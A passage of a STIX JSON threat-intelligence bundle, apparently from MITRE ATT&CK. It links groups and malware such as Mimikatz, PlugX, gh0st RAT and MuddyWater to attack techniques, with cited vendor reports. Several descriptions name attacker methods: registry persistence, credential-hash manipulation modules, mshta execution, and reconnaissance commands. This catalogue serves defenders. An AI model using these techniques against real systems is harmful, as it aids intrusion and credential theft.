            "type": "relationship",
            "modified": "2020-03-19T19:52:53.303Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--6b6343a9-0679-4fa7-943f-c9a2b9df55e2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) compressed data into .zip files prior to exfiltrating it.(Citation: US-CERT TA18-074A)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-03-30T02:12:44.255Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--13d8aec7-3e49-41f8-b57c-475cdc0d9632",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors use the Hunter tool to conduct network service discovery for vulnerable systems.(Citation: Dell TG-3390)(Citation: Unit42 Emissary Panda May 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                },
                {
                    "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/",
                    "source_name": "Unit42 Emissary Panda May 2019"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.422Z",
            "created": "2017-05-31T21:33:27.061Z"
        },
        {
            "id": "relationship--746b0def-62c8-438d-b5ec-aa6b7dbfb860",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware attempts to determine the installed version of .NET by querying the Registry.(Citation: Citizen Lab Stealth Falcon May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Citizen Lab Stealth Falcon May 2016",
                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
                    "url": "https://citizenlab.org/2016/05/stealth-falcon/"
                }
            ],
            "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-03-17T02:38:48.577Z",
            "created": "2017-05-31T21:33:27.073Z"
        },
        {
            "id": "relationship--19c33297-1efd-4489-b09c-a4230ce194f4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sys10](https://attack.mitre.org/software/S0060) uses an XOR 0x1 loop to encrypt its C2 domain.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2019-05-03T16:44:41.833Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4abcf209-1dab-435b-a347-b8ff318ac5d8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Daserf](https://attack.mitre.org/software/S0187) uses custom base64 encoding to obfuscate HTTP traffic.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
                }
            ],
            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:07:43.175Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--3379cbbb-cb69-4dbd-856c-70f88eb256bc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bandook](https://attack.mitre.org/software/S0234) is capable of spawning a Windows command shell.(Citation: EFF Manul Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "EFF Manul Aug 2016",
                    "description": "Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.",
                    "url": "https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf"
                }
            ],
            "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-17T19:04:41.806Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--6e641c36-188b-480e-b177-e412cd000b34",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [Mimikatz](https://attack.mitre.org/software/S0002) credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality. The <code>LSADUMP::ChangeNTLM</code> and <code>LSADUMP::SetNTLM</code> modules can also manipulate the password hash of an account without knowing the clear text value.(Citation: Adsecurity Mimikatz Guide)(Citation: Metcalf 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://adsecurity.org/?page_id=1821",
                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
                    "source_name": "Adsecurity Mimikatz Guide"
                },
                {
                    "source_name": "Metcalf 2015",
                    "description": "Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.",
                    "url": "http://adsecurity.org/?p=1275"
                }
            ],
            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
            "type": "relationship",
            "modified": "2019-04-24T23:36:42.358Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4b310a47-e010-4984-afcb-52d9c8c7933a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/software/S0030) enables concurrent Remote Desktop Protocol (RDP) sessions.(Citation: FireEye CARBANAK June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
                }
            ],
            "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "type": "relationship",
            "modified": "2020-03-27T20:18:34.065Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--9b8ff36d-ff96-460a-b5cf-d369e7f598d9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can obtain information about network parameters.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-17T02:23:04.352Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9e587add-08b7-4ecb-a40a-664b9cff1d0f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain a list of users.(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
            "modified": "2020-03-18T20:41:14.575Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.",
                    "url": "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/",
                    "source_name": "Nccgroup Gh0st April 2018"
                },
                {
                    "source_name": "Gh0stRAT ATT March 2019",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant",
                    "description": "Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."
                }
            ],
            "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) has added a Registry Run key to establish persistence.(Citation: Nccgroup Gh0st April 2018)(Citation: Gh0stRAT ATT March 2019)",
            "id": "relationship--ab2b2cd2-9f20-4497-a6d3-ef1698809779",
            "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2021-03-29T19:49:11.294Z",
            "created": "2019-01-29T14:51:06.807Z"
        },
        {
            "id": "relationship--39e856a1-4bab-474e-a6b2-3ce69249bc29",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mis-Type](https://attack.mitre.org/software/S0084) may create a file containing the results of the command <code>cmd.exe /c ipconfig /all</code>.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-02-11T16:23:56.722Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--acf05380-4076-43b2-8863-257272ed0f79",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Honeybee](https://attack.mitre.org/groups/G0072) performs data exfiltration is accomplished through the following command-line command: <code>from <COMPUTER-NAME> (<Month>-<Day> <Hour>-<Minute>-<Second>).txt</code>.(Citation: McAfee Honeybee)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                }
            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
            "type": "relationship",
            "modified": "2020-04-16T19:41:40.704Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--107e2686-a764-4ace-9200-43ead29ce579",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Nerex](https://attack.mitre.org/software/S0210) creates a backdoor through which remote attackers can download files onto a compromised host.(Citation: Symantec Ristol May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Ristol May 2012",
                    "description": "Ladley, F. (2012, May 15). Backdoor.Ritsol. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3909-99"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add"
        },
        {
            "id": "relationship--1bc5328a-e079-4478-9d04-d840626d4976",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) uses AES to encrypt certain information sent over its C2 channel.(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-21T00:07:11.937Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a88332d2-d03f-4139-b11c-19e82459189b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect information about the system by running <code>hostname</code> and <code>systeminfo</code> on a victim.(Citation: FireEye APT34 Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                }
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T02:14:56.027Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--388b4637-f634-42ab-a370-981be7da89bd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) uses a specific port of 443 and can also use ports 53 and 80 for C2. One [RedLeaves](https://attack.mitre.org/software/S0153) variant uses HTTP over port 443 to connect to its C2 server.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Accenture Hogfish April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                },
                {
                    "source_name": "Accenture Hogfish April 2018",
                    "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.",
                    "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "id": "relationship--a29d9514-3284-4ac2-a93a-e17750519534",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PlugX](https://attack.mitre.org/software/S0013) adds Run key entries in the Registry to establish persistence.(Citation: Lastline PlugX Analysis)(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: CIRCL PlugX March 2013)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://labs.lastline.com/an-analysis-of-plugx",
                    "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.",
                    "source_name": "Lastline PlugX Analysis"
                },
                {
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017"
                },
                {
                    "source_name": "CIRCL PlugX March 2013",
                    "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf",
                    "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."
                }
            ],
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-04-19T15:08:16.035Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a564f3da-349a-4e65-826c-8ca60bc920bf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) has the capability to list processes.(Citation: FireEye Hacking Team)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Hacking Team",
                    "description": "FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html"
                }
            ],
            "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-04-16T20:26:40.978Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--09c10778-19ad-441a-8a75-a3cf1288f960",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use <code>net start</code> to display running services.(Citation: AlienVault Sykipot 2011)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "AlienVault Sykipot 2011",
                    "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.",
                    "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"
                }
            ],
            "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2020-03-16T17:50:28.664Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--55ffbd77-ec97-4dca-9399-b9e4b62fbbf8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN5](https://attack.mitre.org/groups/G0053) scans processes on all victim systems in the environment and uses automated scripts to pull back the results.(Citation: Mandiant FIN5 GrrCON Oct 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2019-04-24T19:41:25.836Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--8c58cfe5-0b71-434c-939a-329b612d2337",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is compressed with Zlib, encrypted, and uploaded to a C2 server.(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Novetta Blockbuster RATs",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.",
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf"
                },
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/",
                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6",
            "type": "relationship",
            "modified": "2020-12-11T17:47:22.986Z",
            "created": "2017-05-31T21:33:27.067Z"
        },
        {
            "id": "relationship--1923bc58-a830-457d-810f-27091e032f46",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used mshta.exe to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload and to pass a PowerShell one-liner for execution.(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye MuddyWater Mar 2018",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"
                },
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/muddywater/88059/",
                    "source_name": "Securelist MuddyWater Oct 2018"
                }
            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
            "type": "relationship",
            "modified": "2019-06-28T15:30:58.855Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--35a9c64c-c305-46bf-a216-c8bb1b051614",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
            "external_references": [
                {
                    "source_name": "Symantec Waterbug",
                    "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.",
                    "url": "https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1"
                },
                {
                    "source_name": "Unit 42 IronNetInjector February 2021 ",
                    "url": " https://unit42.paloaltonetworks.com/ironnetinjector/",
                    "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021."
                }
            ],
            "description": "(Citation: Symantec Waterbug)(Citation: Unit 42 IronNetInjector February 2021 )",
            "type": "relationship",
            "modified": "2021-02-25T18:49:13.483Z",
            "created": "2017-05-31T21:33:27.046Z"
        },
        {
            "id": "relationship--c0d119a2-c5f9-4c18-a18c-28bfa576ea9a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bankshot](https://attack.mitre.org/software/S0239) writes data into the Registry key <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Pniumj</code>.(Citation: US-CERT Bankshot Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Bankshot Dec 2017",
                    "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-02-18T03:40:29.926Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--8cdfc8e4-b657-4ae9-b9ee-9b6107fae796",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
